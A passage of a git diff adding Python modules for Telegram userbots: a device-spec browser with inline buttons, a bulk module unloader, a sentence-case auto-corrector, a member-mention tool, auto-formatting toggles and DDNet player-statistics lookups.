prev_call_id: str = None): + """Handle device selection and show essential info with buttons for details""" + message = await self._resolve_entity(call, message_id, chat_id) + + try: + device = await self._fetch_json(f"info/{device_id}", {"message": message}) + if not device: + raise ValueError("No device info returned") + images_data = await self._fetch_json(f"images/{device_id}", {"message": message}) + images = images_data.get("images", []) if isinstance(images_data, dict) else [] + + info_text = self._format_essential_info(device) + full_text = self.strings["device_info"].format(device.get("name", "N/A"), info_text) + + # Truncate for media caption (Telegram limit: 1024 chars) + caption = full_text[:1024] + ("..." if len(full_text) > 1024 else "") if images else full_text + logger.debug(f"DeviceInfo: Caption length: {len(caption)} characters, photo_idx: {photo_idx}") + + # Buttons for additional sections and photo navigation + buttons = [ + [ + {"text": self.strings["show_body"], "callback": self.show_section, "args": ["body", device_id, query, message_id, chat_id, photo_idx]}, + {"text": self.strings["show_memory"], "callback": self.show_section, "args": ["memory", device_id, query, message_id, chat_id, photo_idx]}, + ], + [ + {"text": self.strings["show_cameras"], "callback": self.show_section, "args": ["cameras", device_id, query, message_id, chat_id, photo_idx]}, + {"text": self.strings["show_sound"], "callback": self.show_section, "args": ["sound", device_id, query, message_id, chat_id, photo_idx]}, + ], + [ + {"text": self.strings["show_comms"], "callback": self.show_section, "args": ["comms", device_id, query, message_id, chat_id, photo_idx]}, + {"text": self.strings["show_sensors"], "callback": self.show_section, "args": ["sensors", device_id, query, message_id, chat_id, photo_idx]}, + ], + [ + {"text": self.strings["show_misc"], "callback": self.show_section, "args": ["misc", device_id, query, message_id, chat_id, photo_idx]}, + ], + [ + {"text": self.strings["prev_photo"], "callback": self.show_device_info, "args": [device_id, query, message_id, chat_id, max(0, photo_idx - 1), call.id]} if photo_idx > 0 else None, + {"text": self.strings["next_photo"], "callback": self.show_device_info, "args": [device_id, query, message_id, chat_id, min(len(images) - 1, photo_idx + 1), call.id]} if images and photo_idx < len(images) - 1 else None, + {"text": self.strings["back"], "callback": self.back_to_search, "args": [query, message_id, chat_id]}, + ] + ] + # Filter out None buttons + buttons = [[btn for btn in row if btn] for row in buttons if any(row)] + + # Always edit the message (for device selection or photo navigation) + logger.debug(f"DeviceInfo: Editing message for device_id: {device_id}, photo_idx: {photo_idx}, call_id: {call.id}") + await call.edit( + text=caption, + reply_markup=buttons, + photo=images[photo_idx] if images else None, + disable_web_page_preview=True + ) + except Exception as e: + logger.error(f"DeviceInfo: Failed to show device info: {e}") + await call.edit( + text=self.strings["error"].format(str(e)), + reply_markup=[], + disable_web_page_preview=True + ) + + async def show_section(self, call: InlineMessage, section: str, device_id: str, query: str, message_id: int, chat_id: int, photo_idx: int): + """Show a specific section of device info""" + message = await self._resolve_entity(call, message_id, chat_id) + + try: + device = await self._fetch_json(f"info/{device_id}", {"message": message}) + if not device: + raise ValueError("No device info returned") + + section_text = self._format_section(section, device) + full_text = self.strings["device_info"].format(device.get("name", "N/A"), section_text) + + # Truncate for Telegram message limit (4000 chars) + full_text = full_text[:4000] + ("..." if len(full_text) > 4000 else "") + + # Buttons for returning to device info + buttons = [ + [{"text": self.strings["back_to_device"], "callback": self.show_device_info, "args": [device_id, query, message_id, chat_id, photo_idx, call.id]}] + ] + + # Try to edit the message + try: + logger.debug(f"DeviceInfo: Editing message for section: {section}, call_id: {call.id}") + await call.edit( + text=full_text, + reply_markup=buttons, + photo=None, # Sections don't include photos to avoid media/text mismatch + disable_web_page_preview=True + ) + except Exception as edit_error: + logger.warning(f"DeviceInfo: Failed to edit message for section {section}: {edit_error}") + # Fallback to new inline form if edit fails + await self.inline.form( + text=full_text, + message=message, + reply_markup=buttons, + ttl=300, + force_me=True, + silent=True + ) + except Exception as e: + logger.error(f"DeviceInfo: Failed to show section {section}: {e}") + try: + await call.edit( + text=self.strings["error"].format(str(e)), + reply_markup=[], + disable_web_page_preview=True + ) + except Exception as edit_error: + logger.warning(f"DeviceInfo: Failed to edit error message: {edit_error}") + await self.inline.form( + text=self.strings["error"].format(str(e)), + message=message, + silent=True + ) + + async def back_to_search(self, call: InlineMessage, query: str, message_id: int, chat_id: int): + """Handle 'Back' button to return to search results""" + message = await self._resolve_entity(call, message_id, chat_id) + + try: + devices = await self._fetch_json("search", {"q": query, "message": message}) + logger.debug(f"DeviceInfo: Fetched {len(devices)} devices for query: {query}") + if not devices: + logger.warning(f"DeviceInfo: No devices found for query: {query}") + try: + await call.edit( + text=self.strings["no_results"].format(query), + reply_markup=[], + photo=None, # Explicitly remove any existing photo + disable_web_page_preview=True + ) + except Exception as edit_error: + logger.warning(f"DeviceInfo: Failed to edit no_results message: {edit_error}") + await self.inline.form( + text=self.strings["no_results"].format(query), + message=message, + silent=True + ) + return + + devices = devices[:self.config["max_results"]] + button_rows = [[{"text": device["name"], "callback": self.show_device_info, "args": [device["id"], query, message_id, chat_id, 0, None]}] for device in devices] + list_text = self.strings["device_list"].format(len(devices), query) + + # Try to edit the message + try: + logger.debug(f"DeviceInfo: Editing message for back_to_search, query: {query}, call_id: {call.id}") + await call.edit( + text=list_text, + reply_markup=button_rows, + photo=None, # Explicitly remove any existing photo + disable_web_page_preview=True + ) + except Exception as edit_error: + logger.warning(f"DeviceInfo: Failed to edit back_to_search message: {edit_error}") + await self.inline.list( + message=message_id, + strings=[list_text], + custom_buttons=button_rows, + ttl=60, + force_me=True, + manual_security=True, + silent=True + ) + except Exception as e: + logger.error(f"DeviceInfo: Failed to return to search: {e}") + try: + await call.edit( + text=self.strings["error"].format(str(e)), + reply_markup=[], + photo=None, # Explicitly remove any existing photo + disable_web_page_preview=True + ) + except Exception as edit_error: + logger.warning(f"DeviceInfo: Failed to edit error message: {edit_error}") + await self.inline.form( + text=self.strings["error"].format(str(e)), + message=message, + silent=True + ) \ No newline at end of file diff --git a/fiksofficial/python-modules/full.txt b/fiksofficial/python-modules/full.txt index cfdb2b6..73e0f01 100644 --- a/fiksofficial/python-modules/full.txt +++ b/fiksofficial/python-modules/full.txt @@ -16,4 +16,8 @@ githubinfo qrgen wiki checkhost -createavatarspack \ No newline at end of file +createavatarspack +multiunloadmodule +tagall2.0 +point +deviceinfo \ No newline at end of file diff --git a/fiksofficial/python-modules/lyrics.py b/fiksofficial/python-modules/lyrics.py index 3fb5e6e..d62a880 100644 --- a/fiksofficial/python-modules/lyrics.py +++ b/fiksofficial/python-modules/lyrics.py @@ -2,6 +2,8 @@ # https://github.com/all-licenses/GNU-General-Public-License-v3.0 # meta developer: @PyModule +# requires: lyricsgenius===3.7.0 + from lyricsgenius import Genius from .. import loader, utils diff --git a/fiksofficial/python-modules/multiunloadmodule.py b/fiksofficial/python-modules/multiunloadmodule.py new file mode 100644 index 0000000..5560600 --- /dev/null +++ b/fiksofficial/python-modules/multiunloadmodule.py @@ -0,0 +1,68 @@ +# ______ ___ ___ _ _ +# ____ | ___ \ | \/ | | | | | +# / __ \| |_/ / _| . . | ___ __| |_ _| | ___ +# / / _` | __/ | | | |\/| |/ _ \ / _` | | | | |/ _ \ +# | | (_| | | | |_| | | | | (_) | (_| | |_| | | __/ +# \ \__,_\_| \__, \_| |_/\___/ \__,_|\__,_|_|\___| +# \____/ __/ | +# |___/ + +# На модуль распространяется лицензия "GNU General Public License v3.0" +# https://github.com/all-licenses/GNU-General-Public-License-v3.0 + +# meta developer: @pymodule +# requires: asyncio + +from .. import loader, utils +import asyncio + + +@loader.tds +class MultiUnloadModule(loader.Module): + """Unloads several modules at once with one command""" + + strings = { + "name": "MultiUnloadModule", + "processing": "Выгружаю модули...", + "done": "Выгрузка завершена.", + "no_modules": "Укажите хотя бы один модуль.", + "progress": "Выгружаю ({current}/{total}): {module}", + "error": "Ошибка при выгрузке {mod}: {e}", + } + + strings_ru = { + "processing": "Выгружаю модули...", + "done": "Выгрузка завершена.", + "no_modules": "Укажите хотя бы один модуль.", + "progress": "Выгружаю ({current}/{total}): {module}", + "error": "Error unloading {mod}: {e}", + } + + @loader.command(ru_doc="{модули через запятую} — выгрузить несколько модулей") + async def mulm(self, message): + """{modules separated by commas} - unload multiple modules""" + args = utils.get_args_raw(message) + if not args: + await utils.answer(message, self.strings("no_modules")) + return + + modules = [m.strip() for m in args.split(",") if m.strip()] + if not modules: + await utils.answer(message, self.strings("no_modules")) + return + + total = len(modules) + + for i, mod in enumerate(modules, start=1): + await message.edit(self.strings("progress").format( + current=i, + total=total, + module=mod + )) + try: + await self.invoke("unloadmod", mod, message=message) + except ValueError as e: + await message.edit(self.strings("error").format(mod=mod, e=e)) + await asyncio.sleep(1) + + await message.edit(self.strings("done")) \ No newline at end of file diff --git a/fiksofficial/python-modules/point.py b/fiksofficial/python-modules/point.py new file mode 100644 index 0000000..f6112c7 --- /dev/null +++ b/fiksofficial/python-modules/point.py @@ -0,0 +1,160 @@ +# ______ ___ ___ _ _ +# ____ | ___ \ | \/ | | | | | +# / __ \| |_/ / _| . . | ___ __| |_ _| | ___ +# / / _` | __/ | | | |\/| |/ _ \ / _` | | | | |/ _ \ +# | | (_| | | | |_| | | | | (_) | (_| | |_| | | __/ +# \ \__,_\_| \__, \_| |_/\___/ \__,_|\__,_|_|\___| +# \____/ __/ | +# |___/ + +# На модуль распространяется лицензия "GNU General Public License v3.0" +# https://github.com/all-licenses/GNU-General-Public-License-v3.0 + +# meta developer: @pymodule + +from .. import loader, utils + + +@loader.tds +class PointSentenceCaseMod(loader.Module): + """Automatically capitalizes the first letter of each sentence and adds a period at the end of the message (if there isn't one).""" + + strings = { + "name": "PointSentenceCase", + "enabled": "The module is activated ✅", + "disabled": "The module is deactivated ❌", + "status": "Current status: {status}\nIgnore channels: {ignore_channels}\n\nUsage:\n.pointcase on|off\n.pointcaseignore on|off", + "status_on": "✅ Enabled", + "status_off": "❌ Off", + "ignore_on": "✅ Ignoring channels", + "ignore_off": "❌ Not ignoring channels", + } + + strings_ru = { + "_cls_doc": "Автоматически делает первую букву каждого предложения заглавной и добавляет точку в конце сообщения (если её нет).", + "enabled": "Модуль активирован ✅", + "disabled": "Модуль деактивирован ❌", + "status": "Текущий статус: {status}\nИгнорировать каналы: {ignore_channels}\n\nИспользование:\n.pointcase on|off\n.pointcaseignore on|off", + "status_on": "✅ Включен", + "status_off": "❌ Выключен", + "ignore_on": "✅ Каналы игнорируются", + "ignore_off": "❌ Каналы не игнорируются", + } + + async def client_ready(self, client, db): + self.client = client + self.db = db + if self.db.get("PointSentenceCase", "enabled") is None: + self.db.set("PointSentenceCase", "enabled", True) + if self.db.get("PointSentenceCase", "ignore_channels") is None: + self.db.set("PointSentenceCase", "ignore_channels", True) + + @loader.command(ru_doc="{on/off} — включает/выключает модуль") + async def pointcase(self, message): + """{on/off} - enables/disables the module""" + args = utils.get_args_raw(message).lower() + + if args == "on": + self.db.set("PointSentenceCase", "enabled", True) + await utils.answer(message, self.strings("enabled")) + elif args == "off": + self.db.set("PointSentenceCase", "enabled", False) + await utils.answer(message, self.strings("disabled")) + else: + status = self.db.get("PointSentenceCase", "enabled", True) + ignore = self.db.get("PointSentenceCase", "ignore_channels", True) + await utils.answer( + message, + self.strings("status").format( + status=self.strings("status_on") if status else self.strings("status_off"), + ignore_channels=self.strings("ignore_on") if ignore else self.strings("ignore_off"), + ), + ) + + @loader.command(ru_doc="{on/off} — включает/выключает игнорирование каналов") + async def pointcaseignore(self, message): + """{on/off} - enables/disables ignoring channels""" + args = utils.get_args_raw(message).lower() + + if args == "on": + self.db.set("PointSentenceCase", "ignore_channels", True) + await utils.answer(message, self.strings("ignore_on")) + elif args == "off": + self.db.set("PointSentenceCase", "ignore_channels", False) + await utils.answer(message, self.strings("ignore_off")) + else: + ignore = self.db.get("PointSentenceCase", "ignore_channels", True) + await utils.answer( + message, + self.strings("ignore_on") if ignore else self.strings("ignore_off"), + ) + + async def watcher(self, message): + if not self.db.get("PointSentenceCase", "enabled", True): + return + + if not message.out or not message.text: + return + + if self.db.get("PointSentenceCase", "ignore_channels", True): + try: + peer = await message.get_chat() + if getattr(peer, "is_channel", False) and not getattr(peer, "is_group", False): + return + except Exception: + pass + + text = message.text.strip() + if not text: + return + + prefixes = self.get_prefix() + if isinstance(prefixes, str): + prefixes = [prefixes] + + if any(text.startswith(prefix) for prefix in prefixes): + return + + sentence_end_marks = {".", "!", "?", "…"} + result = "" + capitalize_next = True + + for char in text: + if capitalize_next and char.isalpha(): + result += char.upper() + capitalize_next = False + else: + result += char.lower() + if char in sentence_end_marks: + capitalize_next = True + elif char in {",", ":", "-", "#", "/", '"'}: + capitalize_next = False + + last_char = result[-1] if result else "" + is_special = not last_char.isalnum() and not self.is_emoji(last_char) + + if ( + result + and last_char not in sentence_end_marks + and not self.is_emoji(last_char) + and not is_special + ): + result += "." + + if result != text: + await message.edit(result) + + def is_emoji(self, char: str) -> bool: + return any([ + "\U0001F600" <= char <= "\U0001F64F", + "\U0001F300" <= char <= "\U0001F5FF", + "\U0001F680" <= char <= "\U0001F6FF", + "\U0001F700" <= char <= "\U0001F77F", + "\U0001F780" <= char <= "\U0001F7FF", + "\U0001F800" <= char <= "\U0001F8FF", + "\U0001F900" <= char <= "\U0001F9FF", + "\U0001FA00" <= char <= "\U0001FA6F", + "\U0001FA70" <= char <= "\U0001FAFF", + "\U00002702" <= char <= "\U000027B0", + "\U000024C2" <= char <= "\U0001F251", + ]) \ No newline at end of file diff --git a/fiksofficial/python-modules/tagall2.0.py b/fiksofficial/python-modules/tagall2.0.py new file mode 100644 index 0000000..3655629 --- /dev/null +++ b/fiksofficial/python-modules/tagall2.0.py @@ -0,0 +1,110 @@ +# ______ ___ ___ _ _ +# ____ | ___ \ | \/ | | | | | +# / __ \| |_/ / _| . . | ___ __| |_ _| | ___ +# / / _` | __/ | | | |\/| |/ _ \ / _` | | | | |/ _ \ +# | | (_| | | | |_| | | | | (_) | (_| | |_| | | __/ +# \ \__,_\_| \__, \_| |_/\___/ \__,_|\__,_|_|\___| +# \____/ __/ | +# |___/ + +# На модуль распространяется лицензия "GNU General Public License v3.0" +# https://github.com/all-licenses/GNU-General-Public-License-v3.0 + +# meta developer: @pymodule + +from .. import loader, utils +from telethon.tl.types import ChannelParticipantsAdmins, UserStatusRecently, UserStatusOnline, Message +import typing +import asyncio + +@loader.tds +class TagAllMod(loader.Module): + """TagAll 2.0 — smart mention of chat participants: .tagall {all/admins/online/active} {text}""" + + strings = { + "name": "TagAll 2.0", + "done": "✅ {} users mentioned", + "no_users": "⚠️ No users found matching this filter", + "invalid_args": "❌ Invalid command format. Use: .tagall {all/admins/online/active} {text}", + } + + strings_ru = { + "_cls_doc": "TagAll 2.0 — умное упоминание участников чата: .tagall {all/admins/online/active} {текст}", + "done": "✅ Упомянуто {} пользователей", + "no_users": "⚠️ Не найдено пользователей по данному фильтру", + "invalid_args": "❌ Неверный формат команды. Используйте: .tagall {all/admins/online/active} {текст}", + } + + async def client_ready(self, client, db): + self.client = client + + @loader.command(ru_doc="Упомянуть участников: .tagall {all/admins/online/active} {текст}") + async def tagallcmd(self, message: Message): + """Mention members: .tagall {all/admins/online/active} {text}""" + args = utils.get_args_raw(message).split(maxsplit=1) + mode = args[0].lower() if args else None + text = args[1] if len(args) > 1 else "Срочное собрание!" + + valid_modes = {"all", "admins", "online", "active"} + + if mode not in valid_modes: + await utils.answer(message, self.strings["invalid_args"]) + return + + chat = await self.client.get_entity(message.chat_id) + tagged = await self._do_tagall(chat, mode, text) + if not tagged: + await utils.answer(message, self.strings["no_users"]) + return + await utils.answer(message, self.strings["done"].format(tagged)) + + async def _do_tagall(self, chat, filter_: str, text: str = "") -> typing.Optional[int]: + users = [] + + try: + if filter_ == "all": + async for user in self.client.iter_participants(chat): + if not user.bot: + users.append(user) + + elif filter_ == "admins": + async for user in self.client.iter_participants(chat, filter=ChannelParticipantsAdmins): + if not user.bot: + users.append(user) + + elif filter_ == "online": + async for user in self.client.iter_participants(chat): + if not user.bot and isinstance(user.status, (UserStatusRecently, UserStatusOnline)): + users.append(user) + + elif filter_ == "active": + user_ids = set() + async for msg in self.client.iter_messages(chat, limit=50): + if msg.sender_id and msg.sender_id not in user_ids: + try: + user = await self.client.get_entity(msg.sender_id) + if not user.bot: + users.append(user) + user_ids.add(msg.sender_id) + except Exception: + continue + + if not users: + return None + + batch_size = 5 + tagged = 0 + for i in range(0, len(users), batch_size): + batch = users[i:i + batch_size] + mentions = " ".join([f"{u.first_name or 'User'}" for u in batch]) + msg_text = f"{text}\n{mentions}" if text else mentions + await self.client.send_message(chat, msg_text, link_preview=False, parse_mode="html") + tagged += len(batch) + if i + batch_size < len(users): + await asyncio.sleep(2) + + return tagged + + except Exception as e: + self._log.error(f"Error in tagall: {e}") + return None \ No newline at end of file diff --git a/mead0wsss/mead0wsMods/.gitignore b/mead0wsss/mead0wsMods/.gitignore new file mode 100644 index 0000000..15201ac --- /dev/null +++ b/mead0wsss/mead0wsMods/.gitignore @@ -0,0 +1,171 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# UV +# Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +#uv.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/latest/usage/project/#working-with-version-control +.pdm.toml +.pdm-python +.pdm-build/ + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +# PyPI configuration file +.pypirc diff --git a/mead0wsss/mead0wsMods/AutoFormatting.py b/mead0wsss/mead0wsMods/AutoFormatting.py new file mode 100644 index 0000000..1fa2079 --- /dev/null +++ b/mead0wsss/mead0wsMods/AutoFormatting.py @@ -0,0 +1,113 @@ +__version__ = (1, 0, 0) + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + +# scope: hikka_only +# scope: hikka_min 1.3.3 +# meta developer: @mead0wssMods +# meta banner: https://x0.at/yCcx.jpg + +from telethon import events +from .. import loader, utils + +@loader.tds +class AutoFormatting(loader.Module): + """Модуль для автоматического форматирования вашего текста в чате.""" + strings = {"name": "AutoFormatting"} + + def __init__(self): + self.styles = { + "bold": False, + "italic": False, + "mono": False, + "underline": False, + "strikethrough": False, + "center": False + } + + async def format_message(self, message): + content = message.text + if not content: + return + + for style, enabled in self.styles.items(): + if enabled: + tags = { + "bold": "b", + "italic": "i", + "mono": "code", + "underline": "u", + "strikethrough": "s", + "center": "center" + } + content = f"<{tags[style]}>{content}" + + await message.edit(content, parse_mode="HTML") + + def reset_styles(self): + for style in self.styles: + self.styles[style] = False + + @loader.command() + async def bold(self, message): + """Включает или отключает жирный текст.""" + self.styles["bold"] = not self.styles["bold"] + status = "включен" if self.styles["bold"] else "выключен" + await utils.answer(message, f"🪐 Жирный текст {status} ʕ·ᴥ·ʔ", parse_mode="HTML") + + @loader.command() + async def italic(self, message): + """Включает или отключает курсив.""" + self.styles["italic"] = not self.styles["italic"] + status = "включен" if self.styles["italic"] else "выключен" + await utils.answer(message, f"🪐 Курсив {status} ʕ·ᴥ·ʔ", parse_mode="HTML") + + @loader.command() + async def mono(self, message): + """Включает или отключает моноширинный текст.""" + self.styles["mono"] = not self.styles["mono"] + status = "включен" if self.styles["mono"] else "выключен" + await utils.answer(message, f"🪐 Моноширинный текст {status} ʕ·ᴥ·ʔ", parse_mode="HTML") + + @loader.command() + async def underline(self, message): + """Включает или отключает подчеркивание.""" + self.styles["underline"] = not self.styles["underline"] + status = "включен" if self.styles["underline"] else "выключен" + await utils.answer(message, f"🪐 Подчеркивание {status} ʕ·ᴥ·ʔ", parse_mode="HTML") + + @loader.command() + async def strikethrough(self, message): + """Включает или отключает зачеркивание.""" + self.styles["strikethrough"] = not self.styles["strikethrough"] + status = "включен" if self.styles["strikethrough"] else "выключен" + await utils.answer(message, f"🪐 Зачеркивание {status} ʕ·ᴥ·ʔ", parse_mode="HTML") + + @loader.command() + async def off(self, message): + """Отключает все стили.""" + self.reset_styles() + await utils.answer(message, "🪐 Все стили выключены ʕ·ᴥ·ʔ", parse_mode="HTML") + + @loader.command() + async def on(self, message): + """Включает стиль по умолчанию (жирный текст).""" + self.reset_styles() + self.styles["bold"] = True + await utils.answer(message, "🪐 Стиль по умолчанию (жирный текст) включен ʕ·ᴥ·ʔ", parse_mode="HTML") + + @loader.watcher(out=True) + async def message_watcher(self, message): + commands = ["bold", "italic", "mono", "underline", "strikethrough", "off", "on"] + if message.text.split()[0] in commands: + return + + if any(self.styles.values()): + await self.format_message(message) diff --git a/mead0wsss/mead0wsMods/DDNetPlayerTime.py b/mead0wsss/mead0wsMods/DDNetPlayerTime.py new file mode 100644 index 0000000..caab749 --- /dev/null +++ b/mead0wsss/mead0wsMods/DDNetPlayerTime.py @@ -0,0 +1,98 @@ +# -- version -- +__version__ = (1, 0, 0) +# -- version -- + + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + + +# meta developer: @mead0wssMods +# scope: heroku_only + +import herokutl +from .. import loader, utils +import aiohttp + +@loader.tds +class DDNetPlayerTime(loader.Module): + """Получение статистики отыгранного времени игрока DDNet с ddstats.tw""" + + strings = { + "name": "DDNetPT", + "no_args": " Укажите ник игрока!", + "api_error_or_player_not_found": " Возможно данный игрок не найден либо ошибка на стороне API", + } + + async def client_ready(self, client, db): + self.client = client + + @loader.command() + async def ddpt(self, message): + """<ник> | Получить статистику игрока""" + args = utils.get_args_raw(message) + if not args: + await utils.answer(message, self.strings["no_args"]) + return + + try: + async with aiohttp.ClientSession() as session: + async with session.get(f"https://ddstats.tw/player/json?player={args}") as resp: + if resp.status != 200: + await utils.answer(message, self.strings["api_error_or_player_not_found"]) + return + data = await resp.json() + response = "" + gametypes = data.get("most_played_gametypes", []) + if gametypes: + gametypes_str = [] + for gt in gametypes: + hours = round(gt.get("seconds_played", 0) / 3600) + gametypes_str.append(f"{gt.get('key', '?')} - {hours}ч") + + response += f"👤 Игрок: {args}\n\n📌 Тип:\n
" + "\n".join(gametypes_str) + "
\n\n
" + + # мапы + maps = data.get("most_played_maps", []) + if maps: + maps_str = [] + for m in maps: + hours = round(m.get("seconds_played", 0) / 3600) + maps_str.append(f"{m.get('map_name', '?')} - {hours}ч") + + response += "🗺 Карта:\n
" + "\n".join(maps_str) + "
\n\n
" + + # категории + categories = data.get("most_played_categories", []) + if categories: + categories_str = [] + for cat in categories: + hours = round(cat.get("seconds_played", 0) / 3600) + categories_str.append(f"{cat.get('key', '?')} - {hours}ч") + + response += "📦 Категория:\n
" + "\n".join(categories_str) + "
\n\n
" + + # время + general = data.get("general_activity", {}) + if general: + total_hours = round(general.get("total_seconds_played", 0) / 3600) + avg_hours = round(general.get("average_seconds_played", 0) / 3600) + start_date = general.get("start_of_playtime", "?") + response += "⏰️ Время:\n
" + response += f"Общее время игры - {total_hours}ч\n" + response += f"Дата начала игры - {start_date}\n" + response += f"Среднее время игры - {avg_hours}ч" + response += "
" + + await utils.answer(message, response) + + except Exception as e: + await utils.answer(message, f"{self.strings['api_error_or_player_not_found']}: {str(e)}") + +# ебеший-ленеивый говнокод diff --git a/mead0wsss/mead0wsMods/DDNetStats.py b/mead0wsss/mead0wsMods/DDNetStats.py new file mode 100644 index 0000000..2f5fcbf --- /dev/null +++ b/mead0wsss/mead0wsMods/DDNetStats.py @@ -0,0 +1,264 @@ +# -- version -- +__version__ = (1, 0, 0) +# -- version -- + + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 (!!! НА ВСЕ МОДУЛИ ДЕЙСТВУЕТ ЛИЦЕНЗИЯ !!!) +# ✈ https://t.me/mead0wssMods + + +# meta developer: @mead0wssMods +# scope: heroku_only + +import aiohttp +from .. import loader, utils + +# флаги +COUNTRY_FLAGS = { + 4: "🇦🇫", 8: "🇦🇱", 12: "🇩🇿", 16: "🇦🇸", 20: "🇦🇩", 24: "🇦🇴", 28: "🇦🇬", 32: "🇦🇷", 51: "🇦🇲", + 52: "🇧🇧", 56: "🇧🇪", 68: "🇧🇴", 76: "🇧🇷", 84: "🇧🇿", 96: "🇧🇳", 100: "🇧🇬", 108: "🇧🇮", 112: "🇧🇾", + 116: "🇰🇭", 120: "🇨🇲", 124: "🇨🇦", 136: "🇰🇾", 140: "🇨🇫", 148: "🇹🇩", 152: "🇨🇱", 156: "🇨🇳", + 170: "🇨🇴", 174: "🇰🇲", 178: "🇨🇬", 180: "🇨🇩", 184: "🇨🇰", 188: "🇨🇷", 191: "🇭🇷", 192: "🇨🇺", + 196: "🇨🇾", 203: "🇨🇿", 208: "🇩🇰", 212: "🇩🇲", 214: "🇩🇴", 218: "🇪🇨", 222: "🇸🇻", 231: "🇪🇹", + 232: "🇪🇷", 233: "🇪🇪", 234: "🇫🇰", 238: "🇫🇯", 242: "🇫🇮", 246: "🇫🇷", 250: "🇫🇷", 254: "🇬🇫", + 258: "🇵🇫", 260: "🇹🇫", 262: "🇩🇯", 266: "🇬🇦", 268: "🇬🇪", 270: "🇬🇲", 276: "🇩🇪", 288: "🇬🇭", + 292: "🇬🇮", 300: "🇬🇷", 304: "🇬🇱", 308: 